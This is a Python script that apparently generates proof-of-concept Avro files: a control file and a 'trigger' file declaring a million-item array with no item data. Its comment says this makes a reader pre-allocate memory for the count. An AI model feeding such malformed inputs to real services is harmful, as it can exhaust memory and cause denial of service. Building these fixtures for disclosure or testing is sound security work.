generate_fixture.py

#!/usr/bin/env python3
"""Generate minimal Avro OCF array-count control and trigger fixtures."""

from __future__ import annotations

import hashlib
from pathlib import Path


ROOT = Path(__file__).resolve().parent
MODELS = ROOT / "models"
SYNC = bytes.fromhex("00112233445566778899aabbccddeeff")
SCHEMA = b'{"type":"array","items":"long"}'
TRIGGER_ITEMS = 1_000_000


def avro_long(value: int) -> bytes:
    encoded = ((value << 1) ^ (value >> 63)) & ((1 << 64) - 1)
    out = bytearray()
    while encoded & ~0x7F:
        out.append((encoded & 0x7F) | 0x80)
        encoded >>= 7
    out.append(encoded)
    return bytes(out)


def avro_bytes(value: bytes) -> bytes:
    return avro_long(len(value)) + value


def avro_string(value: str) -> bytes:
    return avro_bytes(value.encode())


def header() -> bytes:
    out = bytearray(b"Obj\x01")
    out += avro_long(2)
    out += avro_string("avro.schema")
    out += avro_bytes(SCHEMA)
    out += avro_string("avro.codec")
    out += avro_bytes(b"null")
    out += avro_long(0)
    out += SYNC
    return bytes(out)


def make_file(array_payload: bytes) -> bytes:
    data = bytearray(header())
    data += avro_long(1)
    data += avro_long(len(array_payload))
    data += array_payload
    data += SYNC
    return bytes(data)


def main() -> None:
    MODELS.mkdir(parents=True, exist_ok=True)

    # One array item, value zero, then the collection terminator.
    control = make_file(avro_long(1) + avro_long(0) + avro_long(0))

    # The count is present, but no item data follows. GenericReader resizes its
    # vector to this count before it tries to decode the first missing item.
    trigger = make_file(avro_long(TRIGGER_ITEMS))

    for name, payload in (
        ("control-one-array-item.avro", control),
        ("trigger-million-array-items.avro", trigger),
    ):
        path = MODELS / name
        path.write_bytes(payload)
        print(f"{hashlib.sha256(payload).hexdigest()}  {path} ({len(payload)} bytes)")


if __name__ == "__main__":
    main()